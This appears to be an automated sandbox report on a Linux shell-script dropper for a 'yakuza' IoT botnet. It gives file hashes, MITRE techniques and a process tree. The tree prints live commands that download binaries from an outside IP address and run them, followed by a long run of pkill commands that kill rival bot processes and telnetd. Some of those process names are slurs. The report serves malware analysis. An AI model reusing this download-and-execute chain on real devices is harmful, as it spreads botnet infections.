37b2c36f599fd5ba676cce6512abe7aa47c08605aacf3fa31b536054d6e067f7

Analysis

max time kernel
150s
max time network
150s
platform
debian-9_mipsel
resource
debian9-mipsel-20240729-en
resource tags

arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
18-11-2024 02:10

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

37b2c36f599fd5ba676cce6512abe7aa47c08605aacf3fa31b536054d6e067f7.sh
Size

1KB
MD5

b5a7f5f630bc2eee5f8a30ecc75b3e9c
SHA1

adc6352bb1ca055207d877c1fb3c7486adc0be20
SHA256

37b2c36f599fd5ba676cce6512abe7aa47c08605aacf3fa31b536054d6e067f7
SHA512

ad8c3562b969fa3f6ae958cde6202dace4fbabbf8da1d5c57e89cb707b77fd2e76154df4a5d4a719eb931763fa70de9d224b4c29f93320db5251c5acfc5ff679

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 13 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
790	chmod
799	chmod
808	chmod
835	chmod
849	chmod
885	chmod
739	chmod
781	chmod
773	chmod
816	chmod
867	chmod
750	chmod
764	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/yakuza.mips	740	yakuza.mips

Enumerates running processes
Discovers information about currently running processes on the system

Reads CPU attributes 1 TTPs 64 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/717/status	pkill
File opened for reading	/proc/388/status	pkill
File opened for reading	/proc/717/cmdline	pkill
File opened for reading	/proc/10/cmdline	pkill
File opened for reading	/proc/4/status	pkill
File opened for reading	/proc/12/status	pkill
File opened for reading	/proc/109/status	pkill
File opened for reading	/proc/371/cmdline	pkill
File opened for reading	/proc/6/status	pkill
File opened for reading	/proc/8/cmdline	pkill
File opened for reading	/proc/14/status	pkill
File opened for reading	/proc/79/status	pkill
File opened for reading	/proc/1/status	pkill
File opened for reading	/proc/678/status	pkill
File opened for reading	/proc/756/cmdline	pkill
File opened for reading	/proc/18/cmdline	pkill
File opened for reading	/proc/81/status	pkill
File opened for reading	/proc/673/cmdline	pkill
File opened for reading	/proc/20/status	pkill
File opened for reading	/proc/7/cmdline	pkill
File opened for reading	/proc/5/status	pkill
File opened for reading	/proc/120/status	pkill
File opened for reading	/proc/715/cmdline	pkill
File opened for reading	/proc/1/status	pkill
File opened for reading	/proc/109/status	pkill
File opened for reading	/proc/335/status	pkill
File opened for reading	/proc/14/status	pkill
File opened for reading	/proc/17/status	pkill
File opened for reading	/proc/21/cmdline	pkill
File opened for reading	/proc/70/cmdline	pkill
File opened for reading	/proc/22/cmdline	pkill
File opened for reading	/proc/73/cmdline	pkill
File opened for reading	/proc/381/cmdline	pkill
File opened for reading	/proc/109/status	pkill
File opened for reading	/proc/716/cmdline	pkill
File opened for reading	/proc/716/status	pkill
File opened for reading	/proc/74/cmdline	pkill
File opened for reading	/proc/11/status	pkill
File opened for reading	/proc/81/cmdline	pkill
File opened for reading	/proc/159/status	pkill
File opened for reading	/proc/17/status	pkill
File opened for reading	/proc/716/status	pkill
File opened for reading	/proc/36/status	pkill
File opened for reading	/proc/73/cmdline	pkill
File opened for reading	/proc/175/cmdline	pkill
File opened for reading	/proc/683/cmdline	pkill
File opened for reading	/proc/10/cmdline	pkill
File opened for reading	/proc/753/status	pkill
File opened for reading	/proc/673/cmdline	pkill
File opened for reading	/proc/36/status	pkill
File opened for reading	/proc/20/status	pkill
File opened for reading	/proc/75/status	pkill
File opened for reading	/proc/683/status	pkill
File opened for reading	/proc/71/status	pkill
File opened for reading	/proc/7/status	pkill
File opened for reading	/proc/121/cmdline	pkill
File opened for reading	/proc/18/status	pkill
File opened for reading	/proc/1/cmdline	pkill
File opened for reading	/proc/69/status	pkill
File opened for reading	/proc/973/status	pkill
File opened for reading	/proc/2/status	pkill
File opened for reading	/proc/335/status	pkill
File opened for reading	/proc/24/status	pkill
File opened for reading	/proc/710/cmdline	pkill

System Network Configuration Discovery 1 TTPs 9 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
752	yakuza.mipsel
754	rm
1113	sh
1115	busybox
721	wget
740	yakuza.mips
1114	pkill
743	rm
744	wget

Writes file to tmp directory 13 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/yakuza.m68k	wget
File opened for modification	/tmp/yakuza.arm5	wget
File opened for modification	/tmp/yakuza.arm7	wget
File opened for modification	/tmp/yakuza.sparc	wget
File opened for modification	/tmp/yakuza.i686	wget
File opened for modification	/tmp/yakuza.i586	wget
File opened for modification	/tmp/yakuza.sh	wget
File opened for modification	/tmp/yakuza.x86	wget
File opened for modification	/tmp/yakuza.arm6	wget
File opened for modification	/tmp/yakuza.ppc	wget
File opened for modification	/tmp/yakuza.arm4	wget
File opened for modification	/tmp/yakuza.mips	wget
File opened for modification	/tmp/yakuza.mipsel	wget

/tmp/37b2c36f599fd5ba676cce6512abe7aa47c08605aacf3fa31b536054d6e067f7.sh
/tmp/37b2c36f599fd5ba676cce6512abe7aa47c08605aacf3fa31b536054d6e067f7.sh
1⤵
PID:718
- /usr/bin/wget
  wget http://79.23.237.23/yakuza.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:721
- /bin/chmod
  chmod +x yakuza.mips
  2⤵
  - File and Directory Permissions Modification
  PID:739
- /tmp/yakuza.mips
  ./yakuza.mips
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:740
- /bin/rm
  rm -rf yakuza.mips
  2⤵
  - System Network Configuration Discovery
  PID:743
- /usr/bin/wget
  wget http://79.23.237.23/yakuza.mipsel
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:744
- /bin/chmod
  chmod +x yakuza.mipsel
  2⤵
  - File and Directory Permissions Modification
  PID:750
- /tmp/yakuza.mipsel
  ./yakuza.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:752
- - /bin/sh
    sh -c "pkill -9 902i13 || busybox pkill -9 902i13"
    3⤵
    PID:757
  - - /usr/bin/pkill
      pkill -9 902i13
      4⤵
      Reads CPU attributes
      PID:758
  - - /bin/busybox
      busybox pkill -9 902i13
      4⤵
      PID:760
- - /bin/sh
    sh -c "pkill -9 BzSxLxBxeY || busybox pkill -9 BzSxLxBxeY"
    3⤵
    PID:762
  - - /usr/bin/pkill
      pkill -9 BzSxLxBxeY
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:763
  - - /bin/busybox
      busybox pkill -9 BzSxLxBxeY
      4⤵
      PID:765
- - /bin/sh
    sh -c "pkill -9 HOHO-LUGO7 || busybox pkill -9 HOHO-LUGO7"
    3⤵
    PID:770
  - - /usr/bin/pkill
      pkill -9 HOHO-LUGO7
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:771
  - - /bin/busybox
      busybox pkill -9 HOHO-LUGO7
      4⤵
      PID:772
- - /bin/sh
    sh -c "pkill -9 HOHO-U79OL || busybox pkill -9 HOHO-U79OL"
    3⤵
    PID:778
  - - /usr/bin/pkill
      pkill -9 HOHO-U79OL
      4⤵
      Reads CPU attributes
      PID:779
  - - /bin/busybox
      busybox pkill -9 HOHO-U79OL
      4⤵
      PID:780
- - /bin/sh
    sh -c "pkill -9 JuYfouyf87 || busybox pkill -9 JuYfouyf87"
    3⤵
    PID:785
  - - /usr/bin/pkill
      pkill -9 JuYfouyf87
      4⤵
      Reads runtime system information
      PID:787
  - - /bin/busybox
      busybox pkill -9 JuYfouyf87
      4⤵
      PID:788
- - /bin/sh
    sh -c "pkill -9 NiGGeR69xd || busybox pkill -9 NiGGeR69xd"
    3⤵
    PID:789
  - - /usr/bin/pkill
      pkill -9 NiGGeR69xd
      4⤵
      Reads CPU attributes
      PID:791
  - - /bin/busybox
      busybox pkill -9 NiGGeR69xd
      4⤵
      PID:795
- - /bin/sh
    sh -c "pkill -9 SO190Ij1X || busybox pkill -9 SO190Ij1X"
    3⤵
    PID:797
  - - /usr/bin/pkill
      pkill -9 SO190Ij1X
      4⤵
      Reads CPU attributes
      PID:798
  - - /bin/busybox
      busybox pkill -9 SO190Ij1X
      4⤵
      PID:800
- - /bin/sh
    sh -c "pkill -9 LOLKIKEEEDDE || busybox pkill -9 LOLKIKEEEDDE"
    3⤵
    PID:805
  - - /usr/bin/pkill
      pkill -9 LOLKIKEEEDDE
      4⤵
      Reads CPU attributes
      PID:806
  - - /bin/busybox
      busybox pkill -9 LOLKIKEEEDDE
      4⤵
      PID:807
- - /bin/sh
    sh -c "pkill -9 ekjheory98e || busybox pkill -9 ekjheory98e"
    3⤵
    PID:813
  - - /usr/bin/pkill
      pkill -9 ekjheory98e
      4⤵
      PID:814
  - - /bin/busybox
      busybox pkill -9 ekjheory98e
      4⤵
      PID:815
- - /bin/sh
    sh -c "pkill -9 scansh4 || busybox pkill -9 scansh4"
    3⤵
    PID:818
  - - /usr/bin/pkill
      pkill -9 scansh4
      4⤵
      Reads CPU attributes
      PID:821
  - - /bin/busybox
      busybox pkill -9 scansh4
      4⤵
      PID:824
- - /bin/sh
    sh -c "pkill -9 MDMA || busybox pkill -9 MDMA"
    3⤵
    PID:830
  - - /usr/bin/pkill
      pkill -9 MDMA
      4⤵
      Reads runtime system information
      PID:831
  - - /bin/busybox
      busybox pkill -9 MDMA
      4⤵
      PID:832
- - /bin/sh
    sh -c "pkill -9 fdevalvex || busybox pkill -9 fdevalvex"
    3⤵
    PID:842
  - - /usr/bin/pkill
      pkill -9 fdevalvex
      4⤵
      PID:843
  - - /bin/busybox
      busybox pkill -9 fdevalvex
      4⤵
      PID:846
- - /bin/sh
    sh -c "pkill -9 scanspc || busybox pkill -9 scanspc"
    3⤵
    PID:850
  - - /usr/bin/pkill
      pkill -9 scanspc
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:853
  - - /bin/busybox
      busybox pkill -9 scanspc
      4⤵
      PID:857
- - /bin/sh
    sh -c "pkill -9 MELTEDNINJAREALZ || busybox pkill -9 MELTEDNINJAREALZ"
    3⤵
    PID:863
  - - /usr/bin/pkill
      pkill -9 MELTEDNINJAREALZ
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:864
  - - /bin/busybox
      busybox pkill -9 MELTEDNINJAREALZ
      4⤵
      PID:865
- - /bin/sh
    sh -c "pkill -9 flexsonskids || busybox pkill -9 flexsonskids"
    3⤵
    PID:875
  - - /usr/bin/pkill
      pkill -9 flexsonskids
      4⤵
      Reads CPU attributes
      PID:876
  - - /bin/busybox
      busybox pkill -9 flexsonskids
      4⤵
      PID:879
- - /bin/sh
    sh -c "pkill -9 scanx86 || busybox pkill -9 scanx86"
    3⤵
    PID:888
  - - /usr/bin/pkill
      pkill -9 scanx86
      4⤵
      PID:889
  - - /bin/busybox
      busybox pkill -9 scanx86
      4⤵
      PID:891
- - /bin/sh
    sh -c "pkill -9 MISAKI-U79OL || busybox pkill -9 MISAKI-U79OL"
    3⤵
    PID:902
  - - /usr/bin/pkill
      pkill -9 MISAKI-U79OL
      4⤵
      Reads runtime system information
      PID:903
  - - /bin/busybox
      busybox pkill -9 MISAKI-U79OL
      4⤵
      PID:905
- - /bin/sh
    sh -c "pkill -9 foAxi102kxe || busybox pkill -9 foAxi102kxe"
    3⤵
    PID:912
  - - /usr/bin/pkill
      pkill -9 foAxi102kxe
      4⤵
      Reads runtime system information
      PID:913
  - - /bin/busybox
      busybox pkill -9 foAxi102kxe
      4⤵
      PID:914
- - /bin/sh
    sh -c "pkill -9 swodjwodjwoj || busybox pkill -9 swodjwodjwoj"
    3⤵
    PID:915
  - - /usr/bin/pkill
      pkill -9 swodjwodjwoj
      4⤵
      Reads CPU attributes
      PID:916
  - - /bin/busybox
      busybox pkill -9 swodjwodjwoj
      4⤵
      PID:917
- - /bin/sh
    sh -c "pkill -9 MmKiy7f87l || busybox pkill -9 MmKiy7f87l"
    3⤵
    PID:918
  - - /usr/bin/pkill
      pkill -9 MmKiy7f87l
      4⤵
      Reads runtime system information
      PID:919
  - - /bin/busybox
      busybox pkill -9 MmKiy7f87l
      4⤵
      PID:920
- - /bin/sh
    sh -c "pkill -9 freecookiex86 || busybox pkill -9 freecookiex86"
    3⤵
    PID:921
  - - /usr/bin/pkill
      pkill -9 freecookiex86
      4⤵
      PID:922
  - - /bin/busybox
      busybox pkill -9 freecookiex86
      4⤵
      PID:923
- - /bin/sh
    sh -c "pkill -9 sysgpu || busybox pkill -9 sysgpu"
    3⤵
    PID:924
  - - /usr/bin/pkill
      pkill -9 sysgpu
      4⤵
      PID:925
  - - /bin/busybox
      busybox pkill -9 sysgpu
      4⤵
      PID:927
- - /bin/sh
    sh -c "pkill -9 NiGGeR69xd || busybox pkill -9 NiGGeR69xd"
    3⤵
    PID:937
  - - /usr/bin/pkill
      pkill -9 NiGGeR69xd
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:938
  - - /bin/busybox
      busybox pkill -9 NiGGeR69xd
      4⤵
      PID:941
- - /bin/sh
    sh -c "pkill -9 frgege || busybox pkill -9 frgege"
    3⤵
    PID:950
  - - /usr/bin/pkill
      pkill -9 frgege
      4⤵
      PID:951
  - - /bin/busybox
      busybox pkill -9 frgege
      4⤵
      PID:953
- - /bin/sh
    sh -c "pkill -9 sysupdater || busybox pkill -9 sysupdater"
    3⤵
    PID:962
  - - /usr/bin/pkill
      pkill -9 sysupdater
      4⤵
      Reads CPU attributes
      PID:963
  - - /bin/busybox
      busybox pkill -9 sysupdater
      4⤵
      PID:964
- - /bin/sh
    sh -c "pkill -9 0DnAzepd || busybox pkill -9 0DnAzepd"
    3⤵
    PID:966
  - - /usr/bin/pkill
      pkill -9 0DnAzepd
      4⤵
      Reads CPU attributes
      PID:967
  - - /bin/busybox
      busybox pkill -9 0DnAzepd
      4⤵
      PID:968
- - /bin/sh
    sh -c "pkill -9 NiGGeRD0nks69 || busybox pkill -9 NiGGeRD0nks69"
    3⤵
    PID:969
  - - /usr/bin/pkill
      pkill -9 NiGGeRD0nks69
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:970
  - - /bin/busybox
      busybox pkill -9 NiGGeRD0nks69
      4⤵
      PID:971
- - /bin/sh
    sh -c "pkill -9 frgreu || busybox pkill -9 frgreu"
    3⤵
    PID:972
  - - /usr/bin/pkill
      pkill -9 frgreu
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:973
  - - /bin/busybox
      busybox pkill -9 frgreu
      4⤵
      PID:974
- - /bin/sh
    sh -c "pkill -9 telnetd || busybox pkill -9 telnetd"
    3⤵
    PID:975
  - - /usr/bin/pkill
      pkill -9 telnetd
      4⤵
      Reads runtime system information
      PID:976
  - - /bin/busybox
      busybox pkill -9 telnetd
      4⤵
      PID:977
- - /bin/sh
    sh -c "pkill -9 0x766f6964 || busybox pkill -9 0x766f6964"
    3⤵
    PID:978
  - - /usr/bin/pkill
      pkill -9 0x766f6964
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:979
  - - /bin/busybox
      busybox pkill -9 0x766f6964
      4⤵
      PID:980
- - /bin/sh
    sh -c "pkill -9 NiGGeRd0nks1337 || busybox pkill -9 NiGGeRd0nks1337"
    3⤵
    PID:981
  - - /usr/bin/pkill
      pkill -9 NiGGeRd0nks1337
      4⤵
      Reads CPU attributes
      PID:982
  - - /bin/busybox
      busybox pkill -9 NiGGeRd0nks1337
      4⤵
      PID:983
- - /bin/sh
    sh -c "pkill -9 gaft || busybox pkill -9 gaft"
    3⤵
    PID:984
  - - /usr/bin/pkill
      pkill -9 gaft
      4⤵
      Reads runtime system information
      PID:985
  - - /bin/busybox
      busybox pkill -9 gaft
      4⤵
      PID:986
- - /bin/sh
    sh -c "pkill -9 urasgbsigboa || busybox pkill -9 urasgbsigboa"
    3⤵
    PID:987
  - - /usr/bin/pkill
      pkill -9 urasgbsigboa
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:988
  - - /bin/busybox
      busybox pkill -9 urasgbsigboa
      4⤵
      PID:989
- - /bin/sh
    sh -c "pkill -9 120i3UI49 || busybox pkill -9 120i3UI49"
    3⤵
    PID:990
  - - /usr/bin/pkill
      pkill -9 120i3UI49
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:991
  - - /bin/busybox
      busybox pkill -9 120i3UI49
      4⤵
      PID:992
- - /bin/sh
    sh -c "pkill -9 OaF3 || busybox pkill -9 OaF3"
    3⤵
    PID:993
  - - /usr/bin/pkill
      pkill -9 OaF3
      4⤵
      Reads CPU attributes
      PID:994
  - - /bin/busybox
      busybox pkill -9 OaF3
      4⤵
      PID:995
- - /bin/sh
    sh -c "pkill -9 geae || busybox pkill -9 geae"
    3⤵
    PID:996
  - - /usr/bin/pkill
      pkill -9 geae
      4⤵
      PID:997
  - - /bin/busybox
      busybox pkill -9 geae
      4⤵
      PID:998
- - /bin/sh
    sh -c "pkill -9 vaiolmao || busybox pkill -9 vaiolmao"
    3⤵
    PID:999
  - - /usr/bin/pkill
      pkill -9 vaiolmao
      4⤵
      Reads runtime system information
      PID:1000
  - - /bin/busybox
      busybox pkill -9 vaiolmao
      4⤵
      PID:1001
- - /bin/sh
    sh -c "pkill -9 123123a || busybox pkill -9 123123a"
    3⤵
    PID:1002
  - - /usr/bin/pkill
      pkill -9 123123a
      4⤵
      Reads CPU attributes
      PID:1003
  - - /bin/busybox
      busybox pkill -9 123123a
      4⤵
      PID:1004
- - /bin/sh
    sh -c "pkill -9 Ofurain0n4H34D || busybox pkill -9 Ofurain0n4H34D"
    3⤵
    PID:1005
  - - /usr/bin/pkill
      pkill -9 Ofurain0n4H34D
      4⤵
      Reads CPU attributes
      PID:1006
  - - /bin/busybox
      busybox pkill -9 Ofurain0n4H34D
      4⤵
      PID:1007
- - /bin/sh
    sh -c "pkill -9 ggTrex || busybox pkill -9 ggTrex"
    3⤵
    PID:1008
  - - /usr/bin/pkill
      pkill -9 ggTrex
      4⤵
      PID:1009
  - - /bin/busybox
      busybox pkill -9 ggTrex
      4⤵
      PID:1010
- - /bin/sh
    sh -c "pkill -9 wasads || busybox pkill -9 wasads"
    3⤵
    PID:1011
  - - /usr/bin/pkill
      pkill -9 wasads
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:1012
  - - /bin/busybox
      busybox pkill -9 wasads
      4⤵
      PID:1013
- - /bin/sh
    sh -c "pkill -9 1293194hjXD || busybox pkill -9 1293194hjXD"
    3⤵
    PID:1014
  - - /usr/bin/pkill
      pkill -9 1293194hjXD
      4⤵
      Reads runtime system information
      PID:1015
  - - /bin/busybox
      busybox pkill -9 1293194hjXD
      4⤵
      PID:1016
- - /bin/sh
    sh -c "pkill -9 OthLaLosn || busybox pkill -9 OthLaLosn"
    3⤵
    PID:1017
  - - /usr/bin/pkill
      pkill -9 OthLaLosn
      4⤵
      Reads CPU attributes
      PID:1018
  - - /bin/busybox
      busybox pkill -9 OthLaLosn
      4⤵
      PID:1019
- - /bin/sh
    sh -c "pkill -9 ggt || busybox pkill -9 ggt"
    3⤵
    PID:1020
  - - /usr/bin/pkill
      pkill -9 ggt
      4⤵
      PID:1021
  - - /bin/busybox
      busybox pkill -9 ggt
      4⤵
      PID:1022
- - /bin/sh
    sh -c "pkill -9 wget-log || busybox pkill -9 wget-log"
    3⤵
    PID:1023
  - - /usr/bin/pkill
      pkill -9 wget-log
      4⤵
      Reads CPU attributes
      PID:1024
  - - /bin/busybox
      busybox pkill -9 wget-log
      4⤵
      PID:1025
- - /bin/sh
    sh -c "pkill -9 1337SoraLOADER || busybox pkill -9 1337SoraLOADER"
    3⤵
    PID:1026
  - - /usr/bin/pkill
      pkill -9 1337SoraLOADER
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:1027
  - - /bin/busybox
      busybox pkill -9 1337SoraLOADER
      4⤵
      PID:1028
- - /bin/sh
    sh -c "pkill -9 SAIAKINA || busybox pkill -9 SAIAKINA"
    3⤵
    PID:1029
  - - /usr/bin/pkill
      pkill -9 SAIAKINA
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:1030
  - - /bin/busybox
      busybox pkill -9 SAIAKINA
      4⤵
      PID:1031
- - /bin/sh
    sh -c "pkill -9 ggtq || busybox pkill -9 ggtq"
    3⤵
    PID:1032
  - - /usr/bin/pkill
      pkill -9 ggtq
      4⤵
      PID:1033
  - - /bin/busybox
      busybox pkill -9 ggtq
      4⤵
      PID:1034
- - /bin/sh
    sh -c "pkill -9 1378bfp919GRB1Q2 || busybox pkill -9 1378bfp919GRB1Q2"
    3⤵
    PID:1035
  - - /usr/bin/pkill
      pkill -9 1378bfp919GRB1Q2
      4⤵
      Reads CPU attributes
      PID:1036
  - - /bin/busybox
      busybox pkill -9 1378bfp919GRB1Q2
      4⤵
      PID:1037
- - /bin/sh
    sh -c "pkill -9 SAIAKUSO || busybox pkill -9 SAIAKUSO"
    3⤵
    PID:1038
  - - /usr/bin/pkill
      pkill -9 SAIAKUSO
      4⤵
      Reads CPU attributes
      PID:1039
  - - /bin/busybox
      busybox pkill -9 SAIAKUSO
      4⤵
      PID:1040
- - /bin/sh
    sh -c "pkill -9 ggtr || busybox pkill -9 ggtr"
    3⤵
    PID:1041
  - - /usr/bin/pkill
      pkill -9 ggtr
      4⤵
      Reads CPU attributes
      PID:1042
  - - /bin/busybox
      busybox pkill -9 ggtr
      4⤵
      PID:1043
- - /bin/sh
    sh -c "pkill -9 14Fa || busybox pkill -9 14Fa"
    3⤵
    PID:1044
  - - /usr/bin/pkill
      pkill -9 14Fa
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:1045
  - - /bin/busybox
      busybox pkill -9 14Fa
      4⤵
      PID:1046
- - /bin/sh
    sh -c "pkill -9 SEXSLAVE1337 || busybox pkill -9 SEXSLAVE1337"
    3⤵
    PID:1047
  - - /usr/bin/pkill
      pkill -9 SEXSLAVE1337
      4⤵
      Reads CPU attributes
      PID:1048
  - - /bin/busybox
      busybox pkill -9 SEXSLAVE1337
      4⤵
      PID:1049
- - /bin/sh
    sh -c "pkill -9 ggtt || busybox pkill -9 ggtt"
    3⤵
    PID:1050
  - - /usr/bin/pkill
      pkill -9 ggtt
      4⤵
      Reads CPU attributes
      PID:1051
  - - /bin/busybox
      busybox pkill -9 ggtt
      4⤵
      PID:1052
- - /bin/sh
    sh -c "pkill -9 1902a3u912u3u4 || busybox pkill -9 1902a3u912u3u4"
    3⤵
    PID:1053
  - - /usr/bin/pkill
      pkill -9 1902a3u912u3u4
      4⤵
      PID:1054
  - - /bin/busybox
      busybox pkill -9 1902a3u912u3u4
      4⤵
      PID:1055
- - /bin/sh
    sh -c "pkill -9 SO190Ij1X || busybox pkill -9 SO190Ij1X"
    3⤵
    PID:1056
  - - /usr/bin/pkill
      pkill -9 SO190Ij1X
      4⤵
      Reads CPU attributes
      PID:1057
  - - /bin/busybox
      busybox pkill -9 SO190Ij1X
      4⤵
      PID:1058
- - /bin/sh
    sh -c "pkill -9 haetrghbr || busybox pkill -9 haetrghbr"
    3⤵
    PID:1059
  - - /usr/bin/pkill
      pkill -9 haetrghbr
      4⤵
      PID:1060
  - - /bin/busybox
      busybox pkill -9 haetrghbr
      4⤵
      PID:1061
- - /bin/sh
    sh -c "pkill -9 19ju3d || busybox pkill -9 19ju3d"
    3⤵
    PID:1062
  - - /usr/bin/pkill
      pkill -9 19ju3d
      4⤵
      Reads CPU attributes
      PID:1063
  - - /bin/busybox
      busybox pkill -9 19ju3d
      4⤵
      PID:1064
- - /bin/sh
    sh -c "pkill -9 SORAojkf120 || busybox pkill -9 SORAojkf120"
    3⤵
    PID:1065
  - - /usr/bin/pkill
      pkill -9 SORAojkf120
      4⤵
      Reads runtime system information
      PID:1066
  - - /bin/busybox
      busybox pkill -9 SORAojkf120
      4⤵
      PID:1067
- - /bin/sh
    sh -c "pkill -9 hehahejeje92 || busybox pkill -9 hehahejeje92"
    3⤵
    PID:1068
  - - /usr/bin/pkill
      pkill -9 hehahejeje92
      4⤵
      Reads CPU attributes
      PID:1069
  - - /bin/busybox
      busybox pkill -9 hehahejeje92
      4⤵
      PID:1070
- - /bin/sh
    sh -c "pkill -9 2U2JDJA901F91 || busybox pkill -9 2U2JDJA901F91"
    3⤵
    PID:1071
  - - /usr/bin/pkill
      pkill -9 2U2JDJA901F91
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:1072
  - - /bin/busybox
      busybox pkill -9 2U2JDJA901F91
      4⤵
      PID:1073
- - /bin/sh
    sh -c "pkill -9 SlaVLav12 || busybox pkill -9 SlaVLav12"
    3⤵
    PID:1074
  - - /usr/bin/pkill
      pkill -9 SlaVLav12
      4⤵
      PID:1075
  - - /bin/busybox
      busybox pkill -9 SlaVLav12
      4⤵
      PID:1076
- - /bin/sh
    sh -c "pkill -9 helpmedaddthhhhh || busybox pkill -9 helpmedaddthhhhh"
    3⤵
    PID:1077
  - - /usr/bin/pkill
      pkill -9 helpmedaddthhhhh
      4⤵
      Reads CPU attributes
      PID:1078
  - - /bin/busybox
      busybox pkill -9 helpmedaddthhhhh
      4⤵
      PID:1079
- - /bin/sh
    sh -c "pkill -9 2wgg9qphbq || busybox pkill -9 2wgg9qphbq"
    3⤵
    PID:1080
  - - /usr/bin/pkill
      pkill -9 2wgg9qphbq
      4⤵
      Reads runtime system information
      PID:1081
  - - /bin/busybox
      busybox pkill -9 2wgg9qphbq
      4⤵
      PID:1082
- - /bin/sh
    sh -c "pkill -9 Slav3Th3seD3vices || busybox pkill -9 Slav3Th3seD3vices"
    3⤵
    PID:1083
  - - /usr/bin/pkill
      pkill -9 Slav3Th3seD3vices
      4⤵
      Reads CPU attributes
      PID:1084
  - - /bin/busybox
      busybox pkill -9 Slav3Th3seD3vices
      4⤵
      PID:1085
- - /bin/sh
    sh -c "pkill -9 hzSmYZjYMQ || busybox pkill -9 hzSmYZjYMQ"
    3⤵
    PID:1086
  - - /usr/bin/pkill
      pkill -9 hzSmYZjYMQ
      4⤵
      PID:1087
  - - /bin/busybox
      busybox pkill -9 hzSmYZjYMQ
      4⤵
      PID:1088
- - /bin/sh
    sh -c "pkill -9 5Gbf || busybox pkill -9 5Gbf"
    3⤵
    PID:1089
  - - /usr/bin/pkill
